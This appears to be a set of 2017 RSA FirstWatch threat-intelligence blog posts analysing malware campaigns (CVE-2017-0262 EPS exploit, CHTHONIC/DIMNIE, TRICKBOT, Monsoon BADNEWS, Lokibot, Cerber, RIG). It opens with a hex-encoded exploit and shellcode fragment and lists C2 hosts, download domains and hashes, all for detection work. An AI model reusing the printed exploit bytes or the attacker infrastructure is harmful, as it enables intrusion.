fd1a498994b7304ea2bf01272c6cc14b66ade7023b2fd8915d1bc7ac4b32bb89803b92980d328ec43b434d1f0620d5249e9eda8b50f1acfd50804566981d4af2b10c79acfa503e83f66c4b8b87e95748bbf6c7b6b39eb83cfe118f7b8ae9e877589c64db6e428832fd5899b413eaf351bc81004c65490f3667fe61eeb1c651c7ffd43188a9c33ce90e59032c103d45babfb945cd49b8111c4ed8fd9e6dca127ce5620c8502566f9b9c157a406b66c20c7b830ef45bbcb4e3ab6f0136a5b7f6e58602a1ff626ab174eb2cd98ca6b5dcada7fbc84846e53c042b6807505b89eaebca8145dcf30537e94a9244c3fe54a59ccd7c30cfe2def768f54e6d9569546c35b39e920145617f84c3fe20a9d6ddd2982ff661a4b1141571deb4e5666062604c4f4c4b454b588945fc8b45fc5f5e5b8be55dc3> putinterval A5 0 get bytesavailable }


Of particular in this last snippet is the block with the “forall” which is the memory corruption routine unique to the known exploit code for CVE-2017-0262, and as described in ESETs analysis on the subject. With bit-for-bit copy of CVE-2017-0262 exploit code, we have reasonable confidence that the exploit we are dealing with is in fact CVE-2017-0262.


Step 5.  Second stage payload

The second-stage payload (<558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc8 ) appears to be a simple hex-encoded blob (no XOR decoding needed).  Converting it from hex to binary and running the UNIX strings command on it yields the following interesting artifacts that hint what the next stage will be…































Command and Control

The malware performs calls back to 137.74.224[.]142, at five second intervals (Figure 6).


Figure 6 Malware C2 in Wireshark, courtesy VXStream


The destination hosts offers an HTTP 200 response and “false”.


GET /z/get.php?name=c3857e72 HTTP/1.1



HTTP/1.1 200 OK

Date: Thu, 10 Aug 2017 06:59:01 GMT

Server: Apache/2.4.10 (Debian)

Content-Length: 5

Content-Type: text/html; charset=UTF-8




We believe that the actors would not invoke remote control unless they had ruled out nosy researchers.  Based on Google searches identifying the C2 IP address (137.74.224[.]142) as an established Minecraft (multiplayer game) server, we suspect it is possible that the host has been compromised by the perpetrators and is being used without the permission of the owner.  Other previous URL resolutions may be associated with prior customers of the virtual private server (Figure 7).


Figure 7 Historic DNS resolutions for C2 IP address, courtesy PassiveTotal


During the course of this research we found some similarities in look and feel of this campaign (and its potential attribution) with past FirstWatch posts in Attacking a POS Supply Chain part-1 and  CHTHONIC and DIMNIE Campaign Targets Russia 8-2-2017.


Thanks to Kent, and Christopher Elisan for all their contributions to this research.





Md5 hashes of EPS exploit docx with C2 of 137.74.224[.]142

























MD5 hash of EPS exploit with C2 of 158.69.218[.]119



A targeted phishing campaign was active in early August 2017 delivering "Подписать документы.doc" (translates to "Sign Documents.doc"), a MS Word document with an embedded macro responsible for dropping both the CHTHONIC banking trojan and DIMNIE spyware to an infected machine. CHTHONIC was discovered in 2014 by Kaspersky security researchers and is considered to be an evolution of ZeusVM malware.  DIMNIE is a modular information stealer profiled earlier this year by security researchers at PaloAlto's Unit 42, who found the malware in targeted phishing attacks against open-source developers.




Preliminary investigation of VirusTotal submissions provides some potential insight into the possible targets.  In addition to the prevalence of 'RU' country codes, FirstWatch has moderate-to-high confidence that this campaign targeted Russian government and heavy industry (steel in particular).




Submitting the "Подписать документы.doc" delivery document to RSA's pre-release What’s This File service results in a maximum threat score and also provides details as to the embedded VBA code.




Although most of the VBA scripting is obfuscated, the readable strings suggest that the code is writing data to local files, and using cmd.exe and wscript.exe.  This activity executes in the background as the user is distracted with the below fake error message.



Upon running the malicious macro, the process tree below depicts the dropping and execution of '3ce8.exe' (SHA256: 7e0712cbc8d75d2d5bd00e689fc69a03a9b7799cba125a88d6bae728cd24b647), a CHTHONIC variant.  





Observed post infection traffic generated from this executable appears similar to the traffic to other recent CHTHONIC deliveries as documented in recent RELST campaign activity



NetWitness Packets tagged this session with different meta keys indicating a highly suspicious outbound network traffic:



NetWitness Endpoint (aka ECAT) agent shows the following tracking data and module Instant IOC’s for '3ce8.exe'. 



ECAT also reveals a second payload from our CHTHONIC variant, '3ce8.exe', which drops a new DLL (SHA256: 350fba7fe181a9a4bbbbffabb6442e32456a9b5fc486d3086d55c19fd91db31) and starts a new service using the dropped file to initiate network connections, before finally deleting itself.



While the name of this observed DLL appears to vary from one infected machine to another, this secondary payload is DIMNIE spyware, and closely matches the description as documented in the aforementioned Unit 42 report.  In the network traffic below, we observed DNS lookups for C2 domains (spoilerultimate[.]pw, babslarbab[.]host, and babsmarbab[.]top), who's IP addresses are then used to "route" (not really) HTTP proxy requests to legitimate google domains, specifically toolbarqueries[.]google[.]com and gmail[.]com.  As thoroughly described in the Unit 42 report, outbound traffic to these two domains appears to be encrypted (AES 256 in ECB mode) C2 and data exfiltration respectively.






While attribution for this campaign remains undetermined, there are several potential nation-state candidates that seem logical given the recent course of political and cyber events in the region.


Thanks to Ahmed Sonbol (who did the bulk of this work!) and Kent Backman for their assistance with this analysis and investigation.


In the early weeks of July 2017, the Necurs botnet supported a large malspam campaign delivering TRICKBOT via macro-enabled MS Word documents.  While multiple documents were noted in Virus Total submissions, Lloyds Bank was specifically used/mentioned within one decoy document entitled "Protected.doc".




These documents all contain macros with malicious VB Scripting that maxes out scoring in RSA's pre-release, as shown below.  Note the three findings of interest: "Document Contains VBA Code", "VBA Code Contains Auto-Launch Scripts", and "VBA Code Contains Reference to Launching EXEs".  These are all bad things...



Upon opening, the attachment downloads a PNG file that is actually an executable; this is the TRICKBOT payload.  In several instances, we observed multiple download domains involved with this delivery.  In the case below, the first download domain (rbsbuilding[.]co[.]uk) fails with a 404 and a second download domain, ccbenelux[.]nl, successfully delivers our payload, baglosnot32tritony.png.



Post infection, we did not observe TRICKBOT Command and Control (C2) in our own sandbox detonations (probably due to a delay prior to the begin of periodic 3 minute beaconing).  However, we did note probable C2 check-in behavior in related Virus Total PCAPs, specifically TCP SYNs out to a number of known related IP addresses.  




This beaconing was also easily observed in NetWitess Endpoint (aka ECAT), where a telling screen shot shows "butrz.exe" creating a suspect "svchost" process every 3 minutes.



ECAT also flags a number of IOCs that warrant concern.



With regard to the packet detection of TRICKBOT, NetWitness meta data clearly identifies behavior indicative of malicious activity.  Specifically, our macro-enabled MS Word document produces meta for session.analysis of "first carve not dns", service.analysis of "http no user-agent" and "http no referrer", file.analysis of "exe filetype but not exe extension".  This are all strong indicators that something malicious is going down.



As referenced in the opening, this activity appears to be part of a larger ongoing TRICKBOT campaign; below is some related activity we have observed thus far in the month of July.



All related IOCs have been pushed to the FirstWatch_C2_Domains and FirstWatch_C2_IPs feeds and are available to customers via RSA Live.  Thanks to Ahmed Sonbol, Christopher Ahearn and Prakhar Pandey for their assistance with this analysis.



Thanks for the banner picture @Vitali Kremez (@VK_Intel) | Twitter.

On July 6, 2017, RSA FirstWatch noted renewed MONSOON APT campaign activity submitted (from a community user in India) to Virus Total.  The submission in this case was an email attachment, Free_Hosting.doc, a Rich Text Format (RTF) document that attempts to exploit CVE-2015-1641. (Note: For a technical walk-through of RTF and its commonly exploited vulnerabilities, we recommend readers take a look at this post by RSA Engineering's Kevin Douglas.)


 monsoon badnews rtf


The RTF file drops BADNEWS, a backdoor facilitated by a signed Java executable that uses a DLL side-loading technique to evade security detection/prevention.  (A similar technique is employed by PlugX, a backdoor that is well documented by past RSA Research efforts.)  To accomplish this, the RTF writes out several executables, which create MicroScMgmt.exe and jli.dll in C:\Users\analyst\AppData\Roaming\Microsoft and modifies the current users RUN key to add persistence. 


monsoon badnews exe


monsoon badnews exe


The executable also reaches out to 'GET /images/' from www.samanthvisser[.]com, hosted at 162[.]255[.]116[.]10 to retrieve a decoy Free_Hosting.doc to distract users.


monsoon badnews rtf

monsoon RTF exploit


Meanwhile, MicroScMgmt.exe (md5: BA79F3D12D455284011F114E3452A163) is actually a signed copy of Java Platform SE 6 U39 that side loads (essentially calling an execution path for) jli.dll from C:\Users\analyst\AppData\Roaming\Microsoft in the place of Microsoft's msvcr71.dll from the Windows\System32 folder.  Backdoor established.


 monsoon badnews exe

monsoon badnews exe


Based on these observations, this activity from early July appears consistent with recent Monsoon campaigns as documented by both Fortinet (part1 and part2) and Forcepoint.  Nice screen shot courtesy of Vitali Kremez, @VK_Intel, who captured our executable in action.


monsoon badnews exe


Upon infection, initial Command and Control (C2) was observed via an unsolicited 'HTTP POST /6031170831643635.xml' out to feed43[.]com, a domain previously tied to Monsoon (part1 of the Fortinet reports 'hxxp://') and believed to host encrypted data that contains the actual C2 server. 


monsoon badnews c2


We also observed suspected outbound C2 via 'HTTP POST /1bc29b36f623ba82aaf672/435dfa34fasdf3.php' out direct to IP address 91[.]92[.]136[.]20, likely also passing encrypted (or obfuscated) content.  Also noted outbound communications to en[.]wikipedia[.]org, but the purpose of this connection remains unclear (although possibly relates to past actor usage of forums).


monsoon badnews c2


With regard to NetWitness detection of Monsoon APT's delivery of BADNEWS, note the behavioral indicators captured in the meta below.


netwitness monsoon apt badnews

netwitness monsoon apt badnews

netwitness monsoon apt badnews


NetWitness Endpoint (i.e., ECAT) was also able to identify this activity rather easily by monitoring Office applications, WINWORD in the case of BADNEWS, for writing any executables.  Indicators of compromise (IOCs) from ECAT are below.


ecat monsoon badnews iocs


Additionally, all observed MONSOON BADNEWS domains and IPs have been added to the FirstWatch C2 Domains and IPs feeds and should be available via RSA Live.


Thanks to Christopher Ahearn and Ahmed Sonbol for their help with this analysis.



RSA FirstWatch banner

Malspam campaign activity was noted yesterday, June 22nd, 2017, and was delivering Lokibot.  Malicious attachment "Quotation.doc" (probably generated by AKbuilder) was noted in sample attachments, which attempts to exploit CVE-2012-0158 and then download its payload from nioustech[.]com, hosted on 143[.]95[.]230[.]12.


lokibot delivery


lokibot delivery


Lokibot is a commodity info-stealer that creates a registry entry and then attempts to steal credentials (e.g., ssh, ftp, email, browser, etc) and even log keystrokes.  In the case that infection occurs, exfil has been observed out to [RANDOM URL]/fre.php.  


'What's This File' (WTF) analysis of our lokibot payload reveals some oddities from static analysis, including a number of blank file property fields (as shown below) and indication that this is a recently compiled file.                       


WTF lokibot


As far as NetWitness packet detection, Lokibot  exhibits several generically inherently malicious file characteristics, which are flagged in the NetWitness 10.6.3 screenshot below.


lokibot nw detection


Readers may want to also reference recent FirstWatch work on Dyzap, which is commonly observed in the same or related campaigns.  




Blank Slate campaign was noted as active and delivering Cerber ransomware yesterday, June 15th, 2017.  Malicious attachments "PO.doc" and "build.doc" noted in the malspam delivery.


This campaign has been previously noted with multiple delivery vectors.  This was again seen in yesterday's campaign, where one of the two delivery methods failed to retrieve the payload from www[.]host[.]com, which is still being served from 104[.]27[.]137[.]194.

cerber infection fail 404

cerber infection fail 404


In this instance, the second delivery method succeeded in retrieving a payload from oooweqwnenwqew[.]net, which is still currently being served from 193[.]34[.]93[.]145.

cerber infection

cerber infection


Payload is Cerber "2150342-107-0_1.panse.exe", which executes and then checks in to establish payment methods via a p27dokhpz2n7nvgr[.]12nwsw[.]top, a Tor2Web proxy hosted on 184[.]170[.]243[.]164

cerber check in

cerber check in


Post infection, noted Cerber UDP spray outbound to,, on port 6893.

cerber UDP spray to port 6893


Current NetWitness detection flags both payment domain (key.dga.tld pattern) as 'cerber ransomware' and the UDP spray as 'cerber beaconing' in the <Indicators of Compromise> meta field.  Additionally, <File Analysis> flags for 'js eval no docwrite' and 'exe filetype but not exe extension' should be noted as indicators of possibly malicious files.


NW cerber beaconing detection

Kevin Stear

RIG Decimal IP Campaign

Posted by Kevin Stear Employee May 11, 2017

In a world where the Internet makes sense to casual users “IP addresses (IPv4) follow the dot-decimal notation, which is four numbers, each ranging from 0 to 255, separated by dots. But then, to make things a little more complicated, we have exceptions, such as the non-dotted IP literals, in decimal (http://2130706433/) or octal form (http://017700000001/).”[1]


Most current browsers automatically convert non-dotted IP literals to 'normal' dot-decimal format, but can most snort instances? This is likely an issue for some traditional IP-based detection measures, which is probably why current RIG-related activity rightfully dubbed the Decimal-IP campaign has adopted just such a technique.  During April and May, RSA FirstWatch noted the presence of decimal-IP redirectors in use with the RIG Exploit Kit (EK).




The Decimal-IP campaign is currently believed to be one of two active campaigns leveraging RIG, and has been recently observed delivering smokeloader, and you can find sample <here>. (Seamless is the other active RIG campaign, which was delivering Ramnit ransomware in April.)  Here's a good write-up by zerophage.


Brad Duncan (thanks for the images) also has a good technical walkthrough of the Decimal IP campaign delivering smokeloader via a fake adobe flash player install.  Below are a couple of related screenshots of traffic from the fake adobe site and then the file <open> dialogue for the smokeloader payload.





In addition to the smokeloader payload, during a recent changeover in the campaign’s operations, FirstWatch observed Decimal-IP redirects to seemingly Litecoin-related sites for ‘segwit.php’. This is interesting… especially given the recent events surrounding Segregated Witness or SegWit and its potential to bring transaction malleability and block scaling on Litecoin and Bitcoin. This is an area of ongoing research.




With regard to detection of decimal-IP usage, the NetWitness ‘HTTP_lua’ parser has been updated to tag “http host header is an integer” in the analysis.service field. This content is currently available in RSA Live.




With specific regard to detection of ‘RIG Decimal IP Campaign’ activity, a new ESA rule is also available in RSA Live.





Special thanks to @nao_sec (twitter) for continued efforts that provide referrers for our ongoing research against RIG exploit kit.




It’s been several weeks since FirstWatch conducted a detailed investigation of recent activity for Cerber ransomware, and after doing so (again) it’s clear that not much has changed.  Current infections appear primarily due to the ongoing PsuedoDarkleech campaign, which delivers Cerber via the RIGv exploit kit, and also a secondary malspam campaign that delivers the malware via a zipped .doc or .js attachment.  In each of these instances though, the underlying malcode appears largely unchanged (see a sample here), and as expected we observed the tell-tale UDP spray to the subnet over port 6892.


Cerber domains remain heavily registered via Eranet International Limited, and we even noted some old friends (e.g., 'Xinjuan Wang') in the registration details.  We also noted the prevalence of ‘852’ prefaced 13 digit phone numbers and disposable email accounts carried by,,, and within the registration details.  These are all consistent with the ransomware's modus operandi, and a snapshot of the Cerber operational infrastructure as of February 7, 2017 is below (with some notable infrastructure called out):


 cerber maltego


In the course of this analysis, we were able to improve current detection by updating keys within the NW detection capability for Cerber’s [key].[dga].[tld] payment site format. Additionally, 225 indicators of compromise were published to RSA Live within the FirstWatch C2_IPs and C2_DOMAINs feeds (threat.source = ‘rsa-firstwatch’, threat.category = ‘ransomware’, and threat.desc = ‘cerber’).




A couple good references by Brad Duncan for technical walk thru:



Filter Blog

By date: By tag: